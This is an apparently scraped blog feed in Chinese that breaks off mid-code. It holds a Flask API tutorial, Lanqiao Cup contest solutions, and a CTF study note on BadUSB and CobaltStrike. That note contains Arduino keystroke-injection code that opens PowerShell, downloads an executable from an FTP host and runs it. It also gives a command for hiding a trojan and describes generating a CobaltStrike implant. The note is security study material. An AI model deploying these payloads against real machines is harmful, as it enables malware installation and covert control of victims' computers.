def NeteaseDownload(id, ContentType):
if ContentType == 'attachment':
song, author = FileInfo(id)
# If the song id doesn't map to a song, this will return.
if song == None and author == None:
return False, 'Not Found', 'Not Found'
base = 'https://music.163.com/song/media/outer/url?id='
file = './cache/' + id + '.mp3'
filename = id+'.mp3'
if os.path.exists(file):
return filename, song, author
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return False, None, None
if 'u-errlg u-errlg-404' in stream.text: # Some VIP songs cannot be downloaded
print(
'[NETEASEMUSICDOWNLOAD] Failed while getting the resources and information of a song.')
return False, 404, 404
print('[NETEASEMUSICDOWNLOAD] Getting song {} - {}, returned status_code {}'.format(
author, song, stream.status_code))
with open(file, 'wb') as f:
f.write(stream.content)
return filename, song, author
else:
base = 'https://music.163.com/song/media/outer/url?id='
song, author = FileInfo(id)
if song == None and author == None:
return {'code': -2, 'msg': 'It seems that id {} is not a valid song id.'.format(id)}
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return {'code': -3, 'msg': 'Timed out. Please try again later.'}
if stream.url == "https://music.163.com/404":
return {'code': 500, 'link': None, 'name': song, 'author': author, 'msg': 'Cannot fetch download link.'}
return {'code': 200, 'link': stream.url, 'name': song, 'author': author, 'msg': 'Success'}


def FileInfo(id): # Get the information of the song, including name and author
TargetWebInfo = r.get('https://music.163.com/song?id=' + id)
html = TargetWebInfo.content
bf = bs4.BeautifulSoup(html, "lxml")
try:
song = str(list(bf.find_all('em', class_="f-ff2"))[0])
song = song.replace('<em class="f-ff2">', '').replace('</em>', '')
ForbiddenCharacters = [('\\', ' '), ('/', ' '), (':', ':'),
('*', ' '), ('?', '?'), ('<', ' '), ('>', ' '), ('|', '丨')]
for i in ForbiddenCharacters:
song = song.replace(i[0], i[1])
except:
song = None
try:
author = str(list(bf.find_all('a', class_='s-fc7'))[1])
ReplaceLink = re.findall(r'<a class="s-fc7" href=".+">', author)
for i in ReplaceLink:
author = author.replace(i, '')
author = author.replace('</a>', '')
if author == '${escape(x.beRepliedUser.nickname)}':
author = None
except:
author = None
return song, author

首先因为涉及到网络,所以就引入了一个requests模块(精简版的utllib),然后把我原来在JavaScript写的逻辑搬过来,就形成了NeteaseDownload这个函数,那就剩下重命名没搞定。因为手动解析网易云音乐的网页很麻烦,所以就用了一个叫做beautifulsoup4的模块来帮助我解析。在这里直接搜索<em>元素,限定class为f-ff2,这样就可以找到歌曲名;在用re寻找<a>标签下class为<s-fc7>的内容,这些元素和class都是通过分析网易云音乐网站的源代码获得的。当然当用户输入了非法的id的时候,在网易云上就无法获取到歌曲信息,这时候通过搜索作者中内容为${escape(x.beRepliedUser.nickname)}的情况就可以判断,向用户返回非法id的信息

接着在主程序中注册网易云音乐的解析器,给网易云音乐的API设定路径即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from utils.NeteaseCloudMusic import NeteaseDownload
@app.route('/<query>', methods=['GET']) # First path handler
def parser(query):
paths = ['song'] # All requests paths
path = query.split('/')
parameter = path[0]
if parameter not in paths: # When the path not exists, this will return 404
abort(404)
if parameter == 'song':
id = request.args.get('id')
ContentType = request.args.get('type')
return NeteaseHandler(id, ContentType)

Github RELEASE下载次数饼状图

这个用到了matplotlib.pyplot这个模块,上面说这种模块名字很长的就可以给它命个别名,所以在引入的时候就给它改了个名字

1
2
import matplotlib.pyplot as plt
import matplotlib# 本体,在后面颜色的设定用到了

然后就是疯狂地写代码,Github的下载次数是有API可以获取的(不过有QPS就是了)

从Github获取次数后进行json解析,把RELEASE版本信息和次数提取出来,接着放到图片里就可以了,总之就是写成了下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests as r
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
import json
import flask

ReleaseBase = 'https://api.github.com/repos/'
domain = 'dev.api.ninym.top'

def ghParser(operation, author, repo, ContentType):
operations = ['release']
Error404 = {
'code': 404,
'msg': 'Invalid path gh/{}'.format(operation)
}
Error501 = {
'code': 501,
'msg': 'It seems that this repo has no any release'.format(operation)
}
if operation not in operations: return json.dump(Error404)
if operation == 'release':
release = Release(author,repo,ContentType)
if release.isEmpty:
return json.dumps(Error501)
return release.Draw()

class Release():
def __init__(self, author, repo, ContentType):
self.author = author
self.repo = repo
self.info = json.loads(r.get(ReleaseBase+self.author+'/'+self.repo+'/releases').text)
self.ContentType = ContentType
if len(self.info) == 0: self.isEmpty = True
else: self.isEmpty = False

def getInfo(self): # For debugging
return self.info

def makeDimensionList(self):
self.ReleaseLabel = []
self.ReleaseDownloads = []
for i in self.info:
Downloads = 0
TagName = i['tag_name']
assets = i['assets']
if len(assets) == 0:
self.ReleaseLabel = None
self.ReleaseDownloads = None
else:
for j in assets:
Downloads += j['download_count']
self.ReleaseLabel.append(TagName)
self.ReleaseDownloads.append(Downloads)


def Draw(self):
self.makeDimensionList()
plt.figure(figsize=(10,10)) # Make the circle to be a formal one
matplotlib.rcParams.update({'font.size': 20}) # Change the font size of title
if self.ReleaseDownloads == None and self.ReleaseLabel == None:
values = [100]
plt.title('No Any Downloadable Asset from {}/{}'.format(self.author,self.repo))
r = np.linspace(106,142,1,dtype=np.uint8)
g = np.linspace(103,140,1,dtype=np.uint8)
b = np.linspace(232,216,1,dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(values,colors=colors)
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)
explode = [0.01] * len(self.ReleaseLabel)
r = np.linspace(106,142,len(self.ReleaseDownloads),dtype=np.uint8)
g = np.linspace(103,140,len(self.ReleaseDownloads),dtype=np.uint8)
b = np.linspace(232,216,len(self.ReleaseDownloads),dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(self.ReleaseDownloads,explode=explode,labels=self.ReleaseLabel,autopct='%1.1f%%',colors=colors)
plt.title('Downloads of {}/{}'.format(self.author,self.repo))
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)

然后还是一样在主程序中注册路径即可

1
2
3
4
5
6
7
8
9
10
11
from utils.Github import ghParser

@app.route('/gh/<operation>', methods=['GET']) # Github Handler
def ghHandler(operation):
Analytics(request)
author = request.args.get('author')
repo = request.args.get('repo')
ContentType = request.args.get('type')
if ContentType != 'pic' and ContentType != 'json':
ContentType = 'pic'
return ghParser(operation, author, repo, ContentType)

部署服务

部署服务我选择的是Railway这个平台,相比于heroku来说比较快,而且不用绑卡就能绑定域名,很方便

在这上面新建环境,选择Deploy from Github Repo,然后选中自己的仓库就行了

然后在项目的设置中进行自定义域名的绑定和启动命令的修改即可

结语

总的来说,用Flask还是比较方便的,何况我还是比较会用Python,能够做出很多奇奇怪怪的东西,但是就是缺少点子

如果你有什么想法也可以在评论区留言,我说不定会做出来呢?

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Flask + + API + + Host + + + +
+ + + + + CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike + + /posts/CTF-in-College-2/ + +

HID设备

人类接口设备,就是直接与人类进行交互的设备(鼠标、键盘之类的)

HID攻击

插入一定的设备,设备有一定的标识符(例如Keyboard、Mouse),插入后就可以运行烧录在BadUSB上的指令来输入恶意代码,把木马植入计算机之中。(伪造用户击键行为等)

USB HID攻击 VS 摆渡攻击

前者运用的是伪造的HID设备执行恶意代码,摆渡攻击是在U盘等设备放置木马程序,隐藏在存储介质之中。

USB HID攻击特点

  • 隐蔽性强
  • 攻击范围广
  • 权限高

攻击范围是只要能够支持USB HID接口协议的设备均可用。

相关编程语句

默认内容

1
2
3
4
5
6
7
void setup() {

}

void loop() {

}
  • void setup()函数内的代码只运行一次
  • void loop()函数内的代码会一直循环运行

运行cmd并打开记事本,输入相关内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(1000);

Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//win键释放
Keyboard.release('r');//r键释放

Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);//若目标机没有开启,也不影响
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);//目标机开启中文或开启大小写键
delay(500);

//弹出记事本
Keyboard.println("notepad.exe");
delay(500);
delay(500);//可防止丢帧
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:
}
  • Keyboard.press就表示按下按键,用Keyboard.release松开
  • KEY_LEFT_GUI表示左边的Win按键
  • Keyboard.begin()开启键盘通讯,Keyboard.end()来表示结束
  • 因为插入设备的时候目标主机可能处于中文输入法,所以用Keyboard.press(KEY_CAPS_LOCK)打开大小写锁定,然后来输入命令,这样输入的就是英文字符而不受到中文输入法的限制了,输入完了以后记得用Keyboard.release(KEY_CAPS_LOCK)松开
  • Keyboard.begin()下面的delay(1000):一般来说,设备插入后计算机需要启动驱动,在这里加入延迟就是为了给计算机启动驱动的时间(甚至是安装驱动,diss一下win7以下的那堆),当然一般是3秒5秒,1秒还是太短了
  • 按键的定义如下(键盘按键+编码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
///Alt和Ctrl和Shift
#define KEY_LEFT_CTRL 0x80
#define KEY_LEFT_SHIFT 0x81
#define KEY_LEFT_ALT 0x82
#define KEY_LEFT_GUI 0x83
#define KEY_RIGHT_CTRL 0x84
#define KEY_RIGHT_SHIFT 0x85
#define KEY_RIGHT_ALT 0x86
#define KEY_RIGHT_GUI 0x87
///方向键系列
#define KEY_UP_ARROW 0xDA
#define KEY_DOWN_ARROW 0xD9
#define KEY_LEFT_ARROW 0xD8
#define KEY_RIGHT_ARROW 0xD7
//特殊键位,其中RETURN就是回车
#define KEY_BACKSPACE 0xB2
#define KEY_TAB 0xB3
#define KEY_RETURN 0xB0
#define KEY_ESC 0xB1
///特殊键位,我比较常用的是DELETE
#define KEY_INSERT 0xD1
#define KEY_DELETE 0xD4
#define KEY_PAGE_UP 0xD3
#define KEY_PAGE_DOWN 0xD6
#define KEY_HOME 0xD2
#define KEY_END 0xD5
#define KEY_CAPS_LOCK 0xC1
///F区的这些那些
#define KEY_F1 0xC2
#define KEY_F2 0xC3
#define KEY_F3 0xC4
#define KEY_F4 0xC5
#define KEY_F5 0xC6
#define KEY_F6 0xC7
#define KEY_F7 0xC8
#define KEY_F8 0xC9
#define KEY_F9 0xCA
#define KEY_F10 0xCB
#define KEY_F11 0xCC
#define KEY_F12 0xCD
#define KEY_F13 0xF0
#define KEY_F14 0xF1
#define KEY_F15 0xF2
#define KEY_F16 0xF3
#define KEY_F17 0xF4
#define KEY_F18 0xF5
#define KEY_F19 0xF6
#define KEY_F20 0xF7
#define KEY_F21 0xF8
#define KEY_F22 0xF9
#define KEY_F23 0xFA
#define KEY_F24 0xFB

利用FTP服务器存储病毒文件,利用BadUSB执行下载命令后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "Keyboard.h"

void setup()
{
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI); //win键 释放
Keyboard.release('r'); //r键 释放
delay(500);
Keyboard.println("powershell $p=new-object system.net.webclient;$p.downloadfile('FTP://admin:123456@169.254.202.247/calc.exe','F:\\calc.exe');START F:\\calc.exe");
Keyboard.end();//结束键盘通讯
}

void loop()
{
}

  • FTP协议写法:ftp://<username>:<password>@<address>:<port>,可以通过这种方式将用户名和命令写入而无需弹出验证窗口

CobaltStrike用法

首先需要打开Teamserver

然后再打开CS,连接Teamserver

接着就会弹出主界面

然后我们生成一个木马程序,这个程序运行后就会在主界面显示肉鸡,可以进行远程操作等操作

隐藏木马病毒

一般来说,木马下载到计算机内后,如果不隐藏很快就会被发现(这不是当然的嘛,一个不明觉厉的exe在那里谁都会感觉奇怪吧)

所以在Windows下,我们可以将文件进行隐藏,使用attrib命令就可以做到这一点,例如

1
attrib +s +h '.\Virus.exe'

隐藏后可以用命令行打开(直接输入.\Virus.exe就行了),但是在文件资源管理器里面看不到

在Linux下,可以在文件的最前面加一个点(.),会被Linux认为是隐藏文件,就在文件管理器中看不到啦

]]>
+ + + + + CTF + + + + + + + CTF + + HID + + CobaltStrike + + Powershell + + + +
+ + + + + 蓝桥杯2022年B组省赛 —— 个人题解 + + /posts/lanqiao-2022-province/ + +

这篇是后来补发的,过了老久才想起来我的蓝桥杯题解还没发出来,所以这里补一份

试题 A: 排列字母

本题总分:5 分

  • 【问题描述】 小蓝要把一个字符串中的字母按其在字母表中的顺序排列。 例如,LANQIAO 排列后为 AAILNOQ。 又如,GOODGOODSTUDYDAYDAYUP 排列后为 AADDDDDGGOOOOPSTUUYYY 。 请问对于以下字符串,排列之后字符串是什么? WHERETHEREISAWILLTHEREISAWAY
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个由大写字母组成的字符串,在提交答案时只填写这个字符串,填写多余的内 容将无法得分。
1
2
3
# 忘存代码了
print('I forgot to save the code...')

试题 B: 寻找整数

本题总分:5 分

  • 【问题描述】 有一个不超过 1017 的正整数 n,知道这个数除以 2 至 49 后的余数如下表 所示,求这个正整数最小是多少。

  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
equal = True
result = False
mods = {
2: 1,
3: 2,
4: 1,
5: 4,
6: 5,
7: 4,
8: 1,
9: 2,
10: 9,
11: 0,
12: 5,
13: 10,
14: 11,
15: 14,
16: 9,
17: 0,
18: 11,
19: 18,
20: 9,
21: 11,
22: 11,
23: 15,
24: 17,
25: 9,
26: 23,
27: 20,
28: 25,
29: 16,
30: 29,
31: 27,
32: 25,
33: 11,
34: 17,
35: 4,
36: 29,
37: 22,
38: 37,
39: 23,
40: 9,
41: 1,
42: 11,
43: 11,
44: 33,
45: 29,
46: 15,
47: 5,
48: 41,
49: 46
}
i = 1
while i <= 10**17:
i *= 11
equal = True
for j in range(2,50):
if i % j != mods[j]:
print(f'{i} % {j} = {i%j} != {mods[j]}')
equal = False
break
if equal:
num = i
break
if equal: print(f'result: {num}')
else: print('No Result')

试题 C: 纸张尺寸

  • 时间限制:1.0s

  • 内存限制:512.0MB

  • 本题总分:10分

  • 【问题描述】
    在ISO国际标准中定义了A0纸张的大小为1189mm×841mm,将A0纸沿长边对折后为A1纸,大小为841mm×5mm,在对折的过程中长度直接取下整(实际裁剪时可能有损耗)。将A1纸沿长边对折后为A2纸,依此类推。输入纸张的名称,请输出纸张的大小。

  • 【输入格式】
    输入一行包含一个字符串表示纸张的名称,该名称一定是A3、A4、A5、A6、A7、A8、A9之一

  • 【输出格式】
    输出两行,每行包含一个整数,依次表示长边和短边的长度。

  • 【样例输入1】
    A0

  • 【样例输出1】
    1189
    841

  • 【样例输入2】
    A1

  • 【样例输出2】
    841
    594

1
2
3
4
5
6
7
8
9
10
11
line = 1189
col = 841
size = input()
times = int(size[1:])
print(times)
for i in range(times):
if line >= col: line = line // 2
else: col = col // 2
print(max([line,col]))
print(min([line,col]))

试题 D: 数位排序

  • 时间限制:1.0s
  • 内存限制:512MB
  • 本题总分:10分
  • 【问题描述】
    小蓝对一个数的数位之和很感兴趣,今天他要按照数位之和给数排序。当两个数各个数位之和不同时,将数位和较小的排在前而,当数位之和相等时,将数值小的排在前。例如,2022排在409前面,因为2022的数位之和是6,小于409的数位之和13。
    又如,6排在2022前,因为它们的数位之和相同,而6小于2022。
    给定正整数n,m,请问对1到n采用这种方法排序时,排在第m个的元素是多少?
  • 【输入格式】
    输入第一行包含一个正整数n。第二行包含一个正整数m。
  • 【输出格式】
    输出一行包含一个整数,表示答案。
  • 【样例输入】
    13
    5
  • 【样例输出】
    3
  • 【样例说明】
    1 到 13 的排序为:1, 10, 2, 11, 3, 12, 4, 13, 5, 6, 7, 8, 9。第 5 个数为 3。
  • 【评测用例规模与约定】
    对于 30% 的评测用例,1 ≤ m ≤ n ≤ 300。 对于 50% 的评测用例,1 ≤ m ≤ n ≤ 1000。 对于所有评测用例,1 ≤ m ≤ n ≤ 106。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
maxnum = int(input())
pos = int(input())

def summary(num):
length = len(str(num))
s = 0
for i in str(num):
s += int(i)
return s
nums = []
for i in range(1,maxnum+1):
nums.append((i,summary(i)))
nums.sort(key=lambda s: s[0])
nums.sort(key=lambda s: s[1])
print(nums[pos-1][0])

试题 E: 蜂巢

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:15 分
  • 【问题描述】
    蜂巢由大量的六边形拼接而成,定义蜂巢中的方向为:0 表示正西方向,1表示西偏北 60◦,2 表示东偏北 60◦,3 表示正东,4 表示东偏南 60◦,5 表示西
    偏南 60◦。对于给定的一点 O,我们以 O 为原点定义坐标系,如果一个点 A 由 O 点先向 d 方向走 p 步再向 (d + 2) mod 6 方向(d 的顺时针 120◦ 方向)走 q 步到达,则这个点的坐标定义为 (d, p, q)。在蜂窝中,一个点的坐标可能有多种。下图给出了点 B(0, 5, 3) 和点 C(2, 3, 2) 的示意。

    给定点 (d1, p1, q1) 和点 (d2, p2, q2),请问他们之间最少走多少步可以到达?
  • 【输入格式】
    输入一行包含 6 个整数 d1, p1, q1, d2, p2, q2 表示两个点的坐标,相邻两个整数之间使用一个空格分隔。
  • 【输出格式】
    输出一行包含一个整数表示两点之间最少走多少步可以到达。
  • 【样例输入】
    0 5 3 2 3 2
  • 【样例输出】
    7
  • 【评测用例规模与约定】
    对于 25% 的评测用例,p1, p2 ≤ 103 ;
    对于 50% 的评测用例,p1, p2 ≤ 105 ;
    对于 75% 的评测用例,p1, p2 ≤ 107 ;
    对于所有评测用例,0 ≤ d1, d2 ≤ 5,0 ≤ q1 < p1 ≤ 109,0 ≤ q2 < p2 ≤ 109 。
1
print('没做出来……')

试题 F: 消除游戏

  • 时间限制: 3.0s
  • 内存限制: 512.0MB
  • 本题总分:15 分
  • 【问题描述】 在一个字符串 S 中,如果 S i = S i−1 且 S i , S i+1 ,则称 S i 和 S i+1 为边缘字符。如果 S i , S i−1 且 S i = S i+1,则 S i−1 和 S i 也称为边缘字符。其它的字符都不是边缘字符。 对于一个给定的串 S,一次操作可以一次性删除该串中的所有边缘字符 (操作后可能产生新的边缘字符)。 请问经过 2 64 次操作后,字符串 S 变成了怎样的字符串,如果结果为空则 输出 EMPTY。
  • 【输入格式】
    输入一行包含一个字符串 S 。
  • 【输出格式】
    输出一行包含一个字符串表示答案,如果结果为空则输出 EMPTY。
  • 【样例输入 1】
    edda
  • 【样例输出 1】
    EMPTY
  • 【样例输入 2】
    sdfhhhhcvhhxcxnnnnshh
  • 【样例输出 2】
    s
  • 【评测用例规模与约定】
    对于 25% 的评测用例,|S | ≤ 103 ,其中 |S | 表示 S 的长度;
    对于 50% 的评测用例,|S | ≤ 104 ;
    对于 75% 的评测用例,|S | ≤ 105 ;
    对于所有评测用例,|S | ≤ 106,S 中仅含小写字母。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
s = input()
times = 2**64
mark = 'F'*len(s)
nextS = ''
empty = False
NoOperation = True
for time in range(times):
if s == '':
empty = True
break
for i in range(len(s)):
if i == (len(s)-1): continue
if s[i] == s[i+1] and s[i] != s[i-1]: # 与右边相同与左边不同
NoOperation = False
mark = mark[:i-1] + 'TT' + mark[i+1:]
elif s[i] == s[i-1] and s[i] != s[i+1]: # 与左边相同与右边不同
NoOperation = False
mark = mark[:i] + 'TT' + mark[i+2:]
if NoOperation: break
for i in range(len(mark)):
if mark[i] == 'F':
nextS += s[i]
s = nextS
nextS = ''
mark = 'F'*len(s)
NoOperation = True
if empty:
print('EMPTY')
else:
print(s)

试题 G: 全排列的价值

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:20 分
  • 【问题描述】
    对于一个排列 A = (a1, a2, · · · , an),定义价值 ci 为 a1 至 ai−1 中小于 ai 的数 的个数,即 bi = |{aj | j < i, aj < ai}|。定义 A 的价值为 ∑n i=1 ci。 给定 n,求 1 至 n 的全排列中所有排列的价值之和。
  • 【输入格式】
    输入一行包含一个整数 n 。
  • 【输出格式】
    输出一行包含一个整数表示答案,由于所有排列的价值之和可能很大,请输出这个数除以 998244353 的余数。
  • 【样例输入 1】
    3
  • 【样例输出 1】
    9
  • 【样例输入 2】
    2022
  • 【样例输出 2】
    593300958
  • 【样例说明】
    1 至 3 构成的所有排列的价值如下:
    (1, 2, 3) : 0 + 1 + 2 = 3 ;
    (1, 3, 2) : 0 + 1 + 1 = 2 ;
    (2, 1, 3) : 0 + 0 + 2 = 2 ;
    (2, 3, 1) : 0 + 1 + 0 = 1 ;
    (3, 1, 2) : 0 + 0 + 1 = 1 ;
    (3, 2, 1) : 0 + 0 + 0 = 0 ;
    故总和为 3 + 2 + 2 + 1 + 1 = 9。
  • 【评测用例规模与约定】
    对于 40% 的评测用例,n ≤ 20 ;
    对于 70% 的评测用例,n ≤ 5000 ;
    对于所有评测用例,2 ≤ n ≤ 106 。

这题没做完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from itertools import permutations

n = int(input())
summary = 0

ls = list(range(1,n+1))
MaxPermutations = []
for i in permutations(ls):
lesscount = 0
for j in i:
for k in range(i.index(j),len(i)):
if j < i[k]: lesscount += 1
summary += lesscount
mods = summary % 998244353
print(mods)
## if i[0] == n: MaxPermutations.append(i)
## else: break
##print(MaxPermutations)

试题 H: 技能升级

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:20 分
  • 【问题描述】
    小蓝最近正在玩一款 RPG 游戏。他的角色一共有 N 个可以加攻击力的技 能。其中第 i 个技能首次升级可以提升 Ai 点攻击力,以后每次升级增加的点数 都会减少 Bi。⌈ Ai Bi ⌉ (上取整) 次之后,再升级该技能将不会改变攻击力。 现在小蓝可以总计升级 M 次技能,他可以任意选择升级的技能和次数。请 你计算小蓝最多可以提高多少点攻击力?
  • 【输入格式】
    输入第一行包含两个整数 N 和 M。 以下 N 行每行包含两个整数 Ai 和 Bi。
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • 【样例输入】
    3 6 10 5 9 2 8 1
  • 【样例输出】
    47
  • 【评测用例规模与约定】
    对于 40% 的评测用例,1 ≤ N, M ≤ 1000;
    对于 60% 的评测用例,1 ≤ N ≤ 104 , 1 ≤ M ≤ 107;
    对于所有评测用例,1 ≤ N ≤ 105,1 ≤ M ≤ 2 × 109,1 ≤ Ai , Bi ≤ 106。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from math import ceil
TotalATK = 0
SkillCounts, UpgradeTimes = list(map(int, input().split(' ')))
Skills = []
for i in range(SkillCounts):
ATK, PointMinus = list(map(int, input().split(' ')))
MaxUpgradeTimes = ceil(ATK/PointMinus)
Skills.append([ATK, PointMinus, MaxUpgradeTimes])

Skills.sort(key=lambda s: s[0],reverse=True)

for i in range(UpgradeTimes):
TotalATK += Skills[0][0]
Skills[0][0] -= Skills[0][1] # ATK减少固定值
Skills[0][2] -= 1 # 可升级次数-1
Skills.sort(key=lambda s: s[0],reverse=True)
print(TotalATK)

试题 I: 最长不下降子序列

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:25 分
  • 【问题描述】
    给定一个长度为 N 的整数序列:A1, A2, · · · , AN。现在你有一次机会,将其 中连续的 K 个数修改成任意一个相同值。请你计算如何修改可以使修改后的数 列的最长不下降子序列最长,请输出这个最长的长度。 最长不下降子序列是指序列中的一个子序列,子序列中的每个数不小于在 它之前的数。
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • 【样例输入】
    5 1 1 4 2 8 5
  • 【样例输出】
    4
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 100;
    对于 30% 的评测用例,1 ≤ K ≤ N ≤ 1000;
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 10000;
    对于所有评测用例,1 ≤ K ≤ N ≤ 10^5,1 ≤ Ai ≤ 10^6。

好像我的做法有点bug?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Counts, Constant = list(map(int, input().split()))
Array = list(map(int, input().split()))
SubCount = []
# 前面的往小了改的话就得改成0,后面的往大了改就可以改很大

Min = []
Max = []

for i in range(len(Array)):
Min.append(min(Array[i:]))
try:
Max.append(max(Array[:i]))
except ValueError: # 第一个数字前面没有数字
Max.append(0)

for i in range(len(Min)):
if i == len(Min)-1: break
Count = 0
for j in Min[i+1:]:
if j >= Min[i]: Count += 1
else: break
SubCount.append(Count)
MaxSubCount = max(SubCount) # 获取当前最长子序列的位置
if SubCount.index(MaxSubCount)+1 <= Constant:
Result = SubCount.index(MaxSubCount) + MaxSubCount
else:
Result = MaxSubCount + Constant
print(Result)

试题 J: 最优清零方案

  • 时间限制: 5.0s
  • 内存限制: 512.0MB
  • 本题总分:25 分
  • 【问题描述】
    给定一个长度为 N 的数列 A1, A2, · · · , AN。现在小蓝想通过若干次操作将 这个数列中每个数字清零。 每次操作小蓝可以选择以下两种之一: 1. 选择一个大于 0 的整数,将它减去 1; 2. 选择连续 K 个大于 0 的整数,将它们各减去 1。 小蓝最少经过几次操作可以将整个数列清零?
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • 【输出格式】
    输出一个整数表示答案。
  • 【样例输入】
    4 2 1 2 3 4
  • 【样例输出】
    6
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 10。
    对于 40% 的评测用例,1 ≤ K ≤ N ≤ 100。
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 1000。
    对于 60% 的评测用例,1 ≤ K ≤ N ≤ 10000。
    对于 70% 的评测用例,1 ≤ K ≤ N ≤ 100000。
    对于所有评测用例,1 ≤ K ≤ N ≤ 1000000, 0 ≤ Ai ≤ 1000000。

印象中这题没做完?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Length, Constant = list(map(int, input().split(' ')))   # 获得数列长度以及连续的数字的数量K
Array = list(map(int, input().split(' '))) # 构造输入的数列
MinusTimes = []

##def GetConstantArray(array):
## ConstantPosList = []
## for i in range(len(array)):
## if i == len(array)-1: break
## if array[i]+1 == array[i]:
## StartPos = i
## CusPos = i+1
## EndPos = i+1
## while 1:
## if CurPos+1 >= len(array): # 指针已经指向最后一个数字了
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## if array[CurPos+1] == array[CurPos]+1: CurPos += 1 # 当指针指向的下一个数字与当前指向的数字+1相等就继续
## else: # 指针指向的下一个数字与当前数字+1不相等
## ConstantPosList.append((StartPos, EndPos)) # 将位置信息存储进入列表中,终止循环
## break
## return ConstantPosList
##print(GetConstantArray(Array))

for i in range(Length):
if i+Constant >= Length+1: break
MinusTimes.append(max(Array[i:i+Constant]))

MaxMinusTimes = max(MinusTimes)
MaxMinusTimesPos = MinusTimes.index(MaxMinusTimes)
MinusTimesSum = []
for i in range(Constant):
try:
